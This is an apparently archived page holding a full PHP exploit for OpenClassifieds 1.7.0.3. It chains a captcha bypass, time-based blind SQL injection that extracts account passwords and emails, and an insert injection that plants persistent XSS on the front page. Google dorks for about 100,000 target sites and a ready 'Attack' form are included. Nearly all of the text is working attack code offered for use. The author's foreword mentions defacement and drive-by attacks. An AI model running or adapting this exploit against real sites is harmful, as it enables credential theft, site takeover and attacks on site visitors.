扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 908 909 910 911 912 913 914 915 916 917 918 919 920 921 922 923 924 925 926 927 928 929 930 931 932 933 934 935 936 937 938 939 940 941 942 943 944 945 946 947 948 949 950 951 952 953 |
Author:Michael Brooks (Rook)<br> Application:OpenClassifieds 1.7.0.3<br> download: http://open-classifieds.com/download/<br> Exploit chain:captcha bypass->sqli(insert)->persistant xss on front page<br> If registration is required an extra link in the chain is added:<br> Exploit chain:blind sqli(select)->captcha bypass->sqli(insert)->persistant xss on front page<br> sites with SEO url's enabled:<br> "powerd by Open Classifieds" inurl:"publish-a-new-ad.htm"(85,000 results)<br> or default urls:<br> "powerd by Open Classifieds"inurl:"item-new.php" (16,500 results)<br> Total sites: ~100,000<br> <br> <br> The target must be a link to the document root of OpenClassifieds<br> (If the exploit doesn't immediately reload then blind sqli is required,which will take a few minutes;)<br> <form> Target:<input size=128 name=target value="http://localhost/"><br> Payload:<input size=128 name=xss value="<script>alert('xss')</script>"><br> <input type=submit value="Attack"> </form><br> <?php /* Foreword: I have always wanted to write a chained exploit with a captcha bypass,so I couldn't miss this opportunity.I spent a bit more effort on this exploit even though there aren't very many hits (around 100k starts to be worth while). Regardless, I dug into the application and pulled out the vulnerabilities needed to Finnish my masterpiece.Usually when I write a Remote Code Execution exploit for a web app you guys just deface the site or throw up drive-by attacks.So I figured, persistent XSS on the front page is equally as valuable,especially with yet another IE 0-day in the wild.The chain is within the application its self.Process sand-boxing like chroot/AppArmor/SELinux/Application-V(MS) doesn't come into play.It works regardless of the operating system or configurations (Suhosin, safemode, magic_quotes_gpc and register_globals doesn't come into play). I focused on the application's internal configurations that could break the exploitation process.In this case seo friendly urls and requiring an account before posting. "This web application [OpenClassifieds] is developed to be fast, light, secure and SEO friendly." Usually when I see that an application claims to be secure,they really don't know what the fuck they are doing.OpenClassifieds' Security model is deeply flawed and as a result there are MANY vulnerabilities in this code base which allowed me to string a few cool ones together to make an interesting exploit.OpenClassifieds is sanitizing everything on input using cG() and cP(),these functions are used to perform a mysql_real_escape_string()on all GET and POST variables.Most servers aren't using an exotic character set so from a security stand point this is exactly identical to magic_quotes_gpc.So I dusted off my usual magic_quotes_gpc auditing tricks,look for stripslashes(),base64decode(),urldecode(),html_entity_decode() lack of quote marks around variables in a query,ect...Sanitation must ALWAYS be done at the time of use, parametrized queries are a good example of this. Its impossible to account for all the ways a variable can be mangled once it enters a program and if you Sanitize input when it first enters the program there will be cases where it will become dangerous again. This isn't only a problem for SQLi, its also a problem for XSS.I am inserting JS into the database, which isn't a vulnerablity,but printing it, is persistant XSS. The blind sql injection is a bit strange.I can't use white space or commas,which is a pain.I had to rewrite my general purpose Blind SQLi Class to accommodate. A binary search is used to greatly speed up the blind sqli attack. (which I also used in my php-nuke exploit: http://www.exploit-db.com/exploits/12510/) Special thanks to Reiners for this sqli filter evasion cheat sheet: http://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/ Here are some changes I had to make to my blind sql injection class: "select substring('abc',1,1)"=>"select substring('abc' from 1 for 1)" if(greatest(".sprintf($question,$cur).",".$pos.")!=".$pos.",sleep(".$this->timeout."),0)" =>"case ".sprintf($question,"0+".$cur).">".$pos." when truethen sleep(".$this->timeout.") end" CWE Violations leveraged by this exploit: CWE-256: Plaintext Storage of a Password CWE-804: Guessable CAPTCHA(I asked that they create this CWE when I ran into a guy that works for Mitre.) CWE-89: SQL Injection x2 CWE-79: Cross-site Scripting (Persistant) ------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Vulnerable captcha: openclassifieds/includes/common.php line 291 function encode_str ($input){//converts the input into Ascii HTML, to ofuscate a bit for ($i = 0; $i < strlen($input); $i++) { $output .= "&#".ord($input[$i]).';'; } //$output = htmlspecialchars($output);//uncomment to escape sepecial chars return $output; } ------------------------------------------------------------------------------------------------------------------------------------------------------------------------- function mathCaptcha(){//generates a captcha for the form $first_number=mt_rand(1, 94);//first operation number $second_number=mt_rand(1, 5);//second operation number $_SESSION["mathCaptcha"]=($first_number+$second_number);//operation result $operation=" <b>".encode_str($first_number ." + ". $second_number)."</b>?";//operation codifieds echo _("How much is")." ".$operation; } ------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Vulnerable persistant xss and sqli /content/item-new.php line 41 $ocdb->insert(TABLE_PREFIX."posts (idCategory,type,title,description,price,idLocation,place,name,email,phone,password,ip,hasImages)","". cP("category").",".cP("type").",'$title','$desc',$price,$location,'".cP("place")."','".cP("name")."','$email','".cP("phone")."','$post_password','$client_ip',$hasImages"); ------------------------------------------------------------------------------------------------------------------------------------------------------------------------- */ set_time_limit(0); error_reporting(0); function main(){ if($_REQUEST['target'] && $_REQUEST['xss']){ if(xssFrontPage($_REQUEST['target'],$_REQUEST['xss'])){ print("<b>Persistant XSS attack was sucessful.</b>"); }else{ print("<b>Persistant XSS attack has failed.</b>"); } } } //w00t, I can crack your captcha with 4 lines of code! //It would have been 3 if i had used eval(),but that would be a vulnerability ;) function breakCaptcha($page){ preg_match("/\<b\>(.*)\<\/b\>\?/",$page,$match); $code=html_entity_decode($match[1]); $math=new EvalMath(); return $math->evaluate($code); } function xssFrontPage($url,$xss){ $h=new http_client(); $page=$h->send($url."/content/item-new.php"); #Authentication required. if(strstr($page,'Location: http')){#Do we need authentication? print "Blind SQL Injection required.<br>"; $sex=new openclassifieds_blind_sql_injection($url."/"); if($sex->test_target()){ print "Target is vulnerable to attack!<br>"; $pass=$sex->find_string("password"); print "Found Password:<b>$pass</b><br>"; $email=$sex->find_string("email"); print "Found email:<b>$email</b><br>"; $h->postdata="email=$email&password=$pass&submit=loading..."; $h->send($url."/content/account/login.php"); $h->postdata=''; $page=$h->send($url."/"); }else{ die("This target is not exploitable!<br>"); } }else{ $email="test@test.com"; } $code=breakCaptcha($page); $payload=blind_sql_injection::charEncode($xss); $pwd=mt_rand(1,9999999);//Strong password :p $fake_phone=mt_rand(1111111111,9999999999); $fake_email=blind_sql_injection::charEncode(mt_rand()."@".mt_rand().".com"); $fake_ip=blind_sql_injection::charEncode(mt_rand(20,254).".".mt_rand(20,254).".".mt_rand(20,254).".".mt_rand(20,254)); //Stored xss in the description,place and name columns. $inj="36,".mt_rand(1,20).",".$payload.",".mt_rand().",".mt_rand(2,500).",".mt_rand(1,10).",".mt_rand().",".mt_rand().",".$fake_email.",".$fake_phone.",".$pwd.",".$fake_ip.",0)#"; $h->postdata="category=".$inj."&type=0&place=home&title=title&price=1&description=desc&name=name&email=".$email."&math=".$code; $h->send($url."/content/item-new.php"); $h->postdata=''; //I could use sql injection to find the id,but thats noisy and slow. $rss=$h->send($url."/content/feed-rss.php"); //seo friendly if(preg_match("/\-(.*)\.htm\<\/link\>/",$rss,$match)){ $guess=$match[1]; }else if(preg_match("/item\=(.*)\&type/",$rss,$match)){ $guess=$match[1]; }else{ $guess=0; } $guess++; $page=''; $test=false; #Now lets activate the XSS post. for($x=$guess;$x-$guess<=128&&!$test;$x++){ $page=$h->send($url."/content/item-manage.php?pwd=".$pwd."&post=".$x."&action=confirm"); $test=strstr($page,"<script language='JavaScript' type='text/javascript'>alert('"); } return $test; } //http://localhost/openclassifieds/?location=%26%23039;/**/or/**/sleep(10)/**/or/**/1=%26%23039; //The blind_sql_injeciton calss is a general exploit framework that we are inheriting. class openclassifieds_blind_sql_injection extends blind_sql_injection { //This is the blind sql injection request. function query($check){ //build the http request to Inject a query: //"%26%23039;" is a single quote encoded with urlencode(htmlencode("'",ENT_QUOTES)); $payload="%26%23039; or (select ".$check." from oc_accounts where active=1 limit 1) or 1=%26%23039;"; #white space becomes and underscore "_" so it must be replaced. $payload=str_replace(" ","/**/",$payload); $this->set_get("location=".$payload); } } //This is a very efficient blind sql injection class. class blind_sql_injection{ var $url, $backup_url, $result, $http, $request_count, $timeout; function blind_sql_injection($url,$timeout=10){ $this->request_count=0; $this->url=$url; $this->backup_url=$url; $this->http=new http_client(); $this->timeout=$timeout; } function set_get($get){ $this->url=$this->url."?".$get; } function set_referer($referer){ $this->http->referer=$referer; } function set_post($post){ $this->http->postdata=$post; } function test_target(){ return $this->send("case true when true then sleep(".$this->timeout.") when false then sleep(0) end")&&!$this->send("case false when true then sleep(".$this->timeout.") when false then sleep(0) end"); #return $this->send("if(true,sleep(".$this->timeout."),0)")&&!$this->send("if(false,sleep(".$this->timeout."),0)"); } function num_to_hex($arr){ $ret=''; foreach($arr as $a){ if($a<=9){ $ret.=$a; }else{ $ret.=chr(87+$a); } } return $ret; } ###These where not ported to the non-comma version. //Looking for a string of length 32 and base 16 in ascii chars. #function find_md5($column){ # return $this->num_to_hex($this->bin_finder(16,32,"conv(substring($column,%s,1),16,10)")); #} #function find_sha1($column){ # return $this->num_to_hex($this->bin_finder(16,40,"conv(substring($column,%s,1),16,10)")); #} //Look for an ascii string of arbitrary length. function find_string($column){ $ret=''; //A length of zero means we are looking for a null byte terminated string. $result=$this->bin_finder(128,0,"ascii(substring($column from %s for 1))"); foreach($result as $r){ $ret.=chr($r); } return strrev($ret); } //query() is a method that generates the sql injection request function query($check){ //This function must be overridden. } function recheck($result,$question,$base){ $this->bin_finder($base,1,$question,$start); //Force a long timeout. $tmp_timeout=$this->timeout; if($this->timeout<10){ $this->timeout=10; }else{ $this->timeout=$this->timeout*2; } $l=1; foreach($result as $r){ if($this->send("if(".sprintf($question,$l)."!=".$r.",sleep(".$this->timeout."),0)")){ $result[]=$b; break; } $l++; } $this->timeout=$tmp_timeout; } function linear_finder($base,$length,$question){ for($l=1;$l<=$length;$l++){ for($b=0;$b<$base;$b++){ if($this->send("if(".sprintf($question,$l)."=".$b.",sleep(".$this->timeout."),0)")){ $result[]=$b; break; } } } } #Binary search for mysql based sql injection. function bin_finder($base,$length,$question){ $start_pos=1; $result=''; for($cur=$start_pos;$cur<=$length||$length==0;$cur++){ $n=$base-1; $low=0; $floor=$low; $high=$n-1; $pos= $low+(($high-$low)/2); $found=false; while($low<=$high&&!$found){ #asking the sql database if the current value is greater than $pos if($this->send("case ".sprintf($question,"0+".$cur).">".$pos." when truethen sleep(".$this->timeout.") end")){ #if($this->send("if(greatest(".sprintf($question,$cur).",".$pos.")!=".$pos.",sleep(".$this->timeout."),0)")){ #if this is true then the value must be the modulus. if($pos==$n-1){ $result[]=$pos+1; $found=true; }else{ $low=$pos+1; } #asking the sql database if the current value is less than $pos }else if($this->send("case ".sprintf($question,"0+".$cur)."<".$pos." when true then sleep(".$this->timeout.") end")){ #}else if($this->send("if(least(".sprintf($question,$cur).",".$pos.")!=".$pos.",sleep(".$this->timeout."),0)")){ #if this is true the value must be zero, or in the case of ascii,a null byte. if($pos==$floor+1){ $found=true; #We have found the null terminator so we have finnished our search for a string. if($length==0){ $length=-1; }else{ $result[]=$pos-1; } }else{ $high=$pos-1; } }else{ #both greater than and less then where asked, so so then the answer is our guess $pos. $result[]=$pos; $found=true; } $pos=$low+(($high-$low)/2); } print("."); } return $result; } //Fire off the request function send($quesiton){ //build the injected query. $this->query($quesiton); $start=time(); $resp=$this->http->send($this->url); //backup_url is for set_get() $this->url=$this->backup_url; $this->request_count++; return (time()-$start>=$this->timeout); } //retroGod RIP function charEncode($string){ $char="char("; $size=strlen($string); for($x=0;$x<$size;$x++){ $char.=ord($string[$x]).","; } $char[strlen($char)-1]=")%00"; return $char; } } //General purpose http client that works on a default php install. (curl not required) class http_client{ var $proxy_ip='', $proxy_port='', $proxy_name='', $proxy_pass='', $referer='',$cookie='',$postdata=''; function send($loc){ //overload function polymorphism between gets and posts $url=parse_url($loc); if(!isset($url['port'])){ $url['port']=80; } $ua='Firefox'; if($this->proxy_ip!=''&&$this->proxy_port!=''){ $fp = pfsockopen( $this->proxy_ip, $this->proxy_port, &$errno, &$errstr, 120 ); $url['path']=$url['host'].':'.$url['port'].$url['path']; }else{ $fp = fsockopen( $url['host'], $url['port'], &$errno, &$errstr, 120 ); } if( !$fp ) { print "$errstr ($errno)<br>\nn"; return false; } else { if(@!$url['query']){ $url['query']=''; } if( $this->postdata=='' ) { $request="GET ".$url['path']."?".$url['query']." HTTP/1.1\r\n"; } else { $request="POST ".$url['path']."?".$url['query']." HTTP/1.1\r\n"; } if($this->proxy_name!=''&&$this->proxy_pass!=''){ $request.="Proxy-Authorization: Basic ".base64_encode($this->proxy_name.":".$this->proxy_pass)."\r\n\r\n"; } $request.="Host: ".$url['host'].":".$url['port']."\r\n"; $request.="User-Agent: ".$ua."\r\n"; $request.="Accept: text/plain\r\n"; if($this->referer!=''){ $request.="Referer: ".$this->referer."\r\n"; } $request.="Connection: Close\r\n"; if($this->cookie!=''){ $request.="Cookie: ".$this->cookie."\r\n" ; } if( $this->postdata!='' ) { $strlength = strlen( $this->postdata ); $request.="Content-type: application/x-www-form-urlencoded\r\n" ; $request.="Content-length: ".$strlength."\r\n\r\n"; $request.=$this->postdata; } fputs( $fp, $request."\r\n\r\n" ); $output=''; while( !feof( $fp ) ) { $output .= fgets( $fp, 1024 ); } fclose( $fp ); $header=explode("\r\n\r\n",$output); if(strstr($header[0],"Set-Cookie: ") && $this->cookie==''){ $cookie=explode("Set-Cookie: ",$header[0]); $cookie=explode("\n",$cookie[1]); $cookie=explode(";",$cookie[0]); $this->cookie=trim($cookie[0]); } if(strstr($output,"Query:")){ die($output); } return $output; } } //Use a http proxy function proxy($proxy){ //user:pass@ip:port $proxyAuth=explode('@',$proxy); if(isset($proxyAuth[1])){ $login=explode(':',$proxyAuth[0]); $this->proxy_name=$login[0]; $this->proxy_pass=$login[1]; $addr=explode(':',$proxyAuth[1]); }else{ $addr=explode(':',$proxy); } $this->proxy_ip=$addr[0]; $this->proxy_port=$addr[1]; } //Parses the results from a PHP error to use as a path disclosure. function getPath($url,$pops=1){ $html=$this->send($url); //Regular error reporting: $resp=explode("array given in <b>",$html); if(isset($resp[1])){ $resp = explode("</b>",$resp[1]); }else{ //xdebug's error reporting: $resp=explode("array given in ",$html); if(isset($resp[1])){ $resp = explode(" ",$resp[1]); }else{ $resp[0]=false; } } $path=$resp[0]; //Can't use dirname() if(strstr($path,"\\")){ $p=explode("\\",$path); for($x=0;$x<$pops;$x++){ array_pop($p); } $path=implode("\\",$p); }else{ $p=explode("/",$path); for($x=0;$x<$pops;$x++){ array_pop($p); } $path=implode("/",$p); } return $path; } //Grab the server type from the http header. function getServer($url){ $resp=$this->send($url); $header=explode("Server: ",$resp); $server=explode("\n",$header[1]); return $server[0]; } } #used to evaluate the captcha. 1+2=3 class EvalMath { var $suppress_errors = false; var $last_error = null; var $v = array('e'=>2.71,'pi'=>3.14); // variables (and constants) var $f = array(); // user-defined functions var $vb = array('e', 'pi'); // constants var $fb = array(// built-in functions 'sin','sinh','arcsin','asin','arcsinh','asinh', 'cos','cosh','arccos','acos','arccosh','acosh', 'tan','tanh','arctan','atan','arctanh','atanh', 'sqrt','abs','ln','log'); function EvalMath() { // make the variables a little more accurate $this->v['pi'] = pi(); $this->v['e'] = exp(1); } function e($expr) { return $this->evaluate($expr); } function evaluate($expr) { $this->last_error = null; $expr = trim($expr); if (substr($expr, -1, 1) == ';') $expr = substr($expr, 0, strlen($expr)-1); // strip semicolons at the end //=============== // is it a variable assignment? if (preg_match('/^\s*([a-z]\w*)\s*=\s*(.+)$/', $expr, $matches)) { if (in_array($matches[1], $this->vb)) { // make sure we're not assigning to a constant return $this->trigger("cannot assign to constant '$matches[1]'"); } if (($tmp = $this->pfx($this->nfx($matches[2]))) === false) return false; // get the result and make sure it's good $this->v[$matches[1]] = $tmp; // if so, stick it in the variable array return $this->v[$matches[1]]; // and return the resulting value //=============== // is it a function assignment? } elseif (preg_match('/^\s*([a-z]\w*)\s*\(\s*([a-z]\w*(?:\s*,\s*[a-z]\w*)*)\s*\)\s*=\s*(.+)$/', $expr, $matches)) { $fnn = $matches[1]; // get the function name if (in_array($matches[1], $this->fb)) { // make sure it isn't built in return $this->trigger("cannot redefine built-in function '$matches[1]()'"); } $args = explode(",", preg_replace("/\s+/", "", $matches[2])); // get the arguments if (($stack = $this->nfx($matches[3])) === false) return false; // see if it can be converted to postfix for ($i = 0; $i<count($stack); $i++) { // freeze the state of the non-argument variables $token = $stack[$i]; if (preg_match('/^[a-z]\w*$/', $token) and !in_array($token, $args)) { if (array_key_exists($token, $this->v)) { $stack[$i] = $this->v[$token]; } else { return $this->trigger("undefined variable '$token' in function definition"); } } } $this->f[$fnn] = array('args'=>$args, 'func'=>$stack); return true; //=============== } else { return $this->pfx($this->nfx($expr)); // straight up evaluation, woo } } function vars() { $output = $this->v; unset($output['pi']); unset($output['e']); return $output; } function funcs() { $output = array(); foreach ($this->f as $fnn=>$dat) $output[] = $fnn . '(' . implode(',', $dat['args']) . ')'; return $output; } //===================== HERE BE INTERNAL METHODS ====================\\ // Convert infix to postfix notation function nfx($expr) { $index = 0; $stack = new EvalMathStack; $output = array(); // postfix form of expression, to be passed to pfx() $expr = trim(strtolower($expr)); $ops = array('+', '-', '*', '/', '^', '_'); $ops_r = array('+'=>0,'-'=>0,'*'=>0,'/'=>0,'^'=>1); // right-associative operator? $ops_p = array('+'=>0,'-'=>0,'*'=>1,'/'=>1,'_'=>1,'^'=>2); // operator precedence $expecting_op = false; // we use this in syntax-checking the expression // and determining when a - is a negation if (preg_match("/[^\w\s+*^\/()\.,-]/", $expr, $matches)) { // make sure the characters are all good return $this->trigger("illegal character '{$matches[0]}'"); } while(1) { // 1 Infinite Loop ;) $op = substr($expr, $index, 1); // get the first character at the current index // find out if we're currently at the beginning of a number/variable/function/parenthesis/operand $ex = preg_match('/^([a-z]\w*\(?|\d+(?:\.\d*)?|\.\d+|\()/', substr($expr, $index), $match); //=============== if ($op == '-' and !$expecting_op) { // is it a negation instead of a minus? $stack->push('_'); // put a negation on the stack $index++; } elseif ($op == '_') { // we have to explicitly deny this, because it's legal on the stack return $this->trigger("illegal character '_'"); // but not in the input expression //=============== } elseif ((in_array($op, $ops) or $ex) and $expecting_op) { // are we putting an operator on the stack? if ($ex) { // are we expecting an operator but have a number/variable/function/opening parethesis? $op = '*'; $index--; // it's an implicit multiplication } // heart of the algorithm: while($stack->count > 0 and ($o2 = $stack->last()) and in_array($o2, $ops) and ($ops_r[$op] ? $ops_p[$op] < $ops_p[$o2] : $ops_p[$op] <= $ops_p[$o2])) { $output[] = $stack->pop(); // pop stuff off the stack into the output } // many thanks: http://en.wikipedia.org/wiki/Reverse_Polish_notation#The_algorithm_in_detail $stack->push($op); // finally put OUR operator onto the stack $index++; $expecting_op = false; //=============== } elseif ($op == ')' and $expecting_op) { // ready to close a parenthesis? while (($o2 = $stack->pop()) != '(') { // pop off the stack back to the last ( if (is_null($o2)) return $this->trigger("unexpected ')'"); else $output[] = $o2; } if (preg_match("/^([a-z]\w*)\($/", $stack->last(2), $matches)) { // did we just close a function? $fnn = $matches[1]; // get the function name $arg_count = $stack->pop(); // see how many arguments there were (cleverly stored on the stack, thank you) $output[] = $stack->pop(); // pop the function and push onto the output if (in_array($fnn, $this->fb)) { // check the argument count if($arg_count > 1) return $this->trigger("too many arguments ($arg_count given, 1 expected)"); } elseif (array_key_exists($fnn, $this->f)) { if ($arg_count != count($this->f[$fnn]['args'])) return $this->trigger("wrong number of arguments ($arg_count given, " . count($this->f[$fnn]['args']) . " expected)"); } else { // did we somehow push a non-function on the stack? this should never happen return $this->trigger("internal error"); } } $index++; //=============== } elseif ($op == ',' and $expecting_op) { // did we just finish a function argument? while (($o2 = $stack->pop()) != '(') { if (is_null($o2)) return $this->trigger("unexpected ','"); // oops, never had a ( else $output[] = $o2; // pop the argument expression stuff and push onto the output } // make sure there was a function if (!preg_match("/^([a-z]\w*)\($/", $stack->last(2), $matches)) return $this->trigger("unexpected ','"); $stack->push($stack->pop()+1); // increment the argument count $stack->push('('); // put the ( back on, we'll need to pop back to it again $index++; $expecting_op = false; //=============== } elseif ($op == '(' and !$expecting_op) { $stack->push('('); // that was easy $index++; $allow_neg = true; //=============== } elseif ($ex and !$expecting_op) { // do we now have a function/variable/number? $expecting_op = true; $val = $match[1]; if (preg_match("/^([a-z]\w*)\($/", $val, $matches)) { // may be func, or variable w/ implicit multiplication against parentheses... if (in_array($matches[1], $this->fb) or array_key_exists($matches[1], $this->f)) { // it's a func $stack->push($val); $stack->push(1); $stack->push('('); $expecting_op = false; } else { // it's a var w/ implicit multiplication $val = $matches[1]; $output[] = $val; } } else { // it's a plain old var or num $output[] = $val; } $index += strlen($val); //=============== } elseif ($op == ')') { // miscellaneous error checking return $this->trigger("unexpected ')'"); } elseif (in_array($op, $ops) and !$expecting_op) { return $this->trigger("unexpected operator '$op'"); } else { // I don't even want to know what you did to get here return $this->trigger("an unexpected error occured"); } if ($index == strlen($expr)) { if (in_array($op, $ops)) { // did we end with an operator? bad. return $this->trigger("operator '$op' lacks operand"); } else { break; } } while (substr($expr, $index, 1) == ' ') { // step the index past whitespace (pretty much turns whitespace $index++; // into implicit multiplication if no operator is there) } } while (!is_null($op = $stack->pop())) { // pop everything off the stack and push onto output if ($op == '(') return $this->trigger("expecting ')'"); // if there are (s on the stack, ()s were unbalanced $output[] = $op; } return $output; } // evaluate postfix notation function pfx($tokens, $vars = array()) { if ($tokens == false) return false; $stack = new EvalMathStack; foreach ($tokens as $token) { // nice and easy // if the token is a binary operator, pop two values off the stack, do the operation, and push the result back on if (in_array($token, array('+', '-', '*', '/', '^'))) { if (is_null($op2 = $stack->pop())) return $this->trigger("internal error"); if (is_null($op1 = $stack->pop())) return $this->trigger("internal error"); switch ($token) { case '+': $stack->push($op1+$op2); break; case '-': $stack->push($op1-$op2); break; case '*': $stack->push($op1*$op2); break; case '/': if ($op2 == 0) return $this->trigger("division by zero"); $stack->push($op1/$op2); break; case '^': $stack->push(pow($op1, $op2)); break; } // if the token is a unary operator, pop one value off the stack, do the operation, and push it back on } elseif ($token == "_") { $stack->push(-1*$stack->pop()); // if the token is a function, pop arguments off the stack, hand them to the function, and push the result back on } elseif (preg_match("/^([a-z]\w*)\($/", $token, $matches)) { // it's a function! $fnn = $matches[1]; if (in_array($fnn, $this->fb)) { // built-in function: if (is_null($op1 = $stack->pop())) return $this->trigger("internal error"); $fnn = preg_replace("/^arc/", "a", $fnn); // for the 'arc' trig synonyms if ($fnn == 'ln') $fnn = 'log'; eval('$stack->push(' . $fnn . '($op1));'); // perfectly safe eval() } elseif (array_key_exists($fnn, $this->f)) { // user function // get args $args = array(); for ($i = count($this->f[$fnn]['args'])-1; $i >= 0; $i--) { if (is_null($args[$this->f[$fnn]['args'][$i]] = $stack->pop())) return $this->trigger("internal error"); } $stack->push($this->pfx($this->f[$fnn]['func'], $args)); // yay... recursion!!!! } // if the token is a number or variable, push it on the stack } else { if (is_numeric($token)) { $stack->push($token); } elseif (array_key_exists($token, $this->v)) { $stack->push($this->v[$token]); } elseif (array_key_exists($token, $vars)) { $stack->push($vars[$token]); } else { return $this->trigger("undefined variable '$token'"); } } } // when we're out of tokens, the stack should have a single element, the final result if ($stack->count != 1) return $this->trigger("internal error"); return $stack->pop(); } // trigger an error, but nicely, if need be function trigger($msg) { $this->last_error = $msg; if (!$this->suppress_errors) trigger_error($msg, E_USER_WARNING); return false; } } // for internal use class EvalMathStack { var $stack = array(); var $count = 0; function push($val) { $this->stack[$this->count] = $val; $this->count++; } function pop() { if ($this->count > 0) { $this->count--; return $this->stack[$this->count]; } return null; } function last($n=1) { return $this->stack[$this->count-$n]; } } main(); ?> |
体验盒子
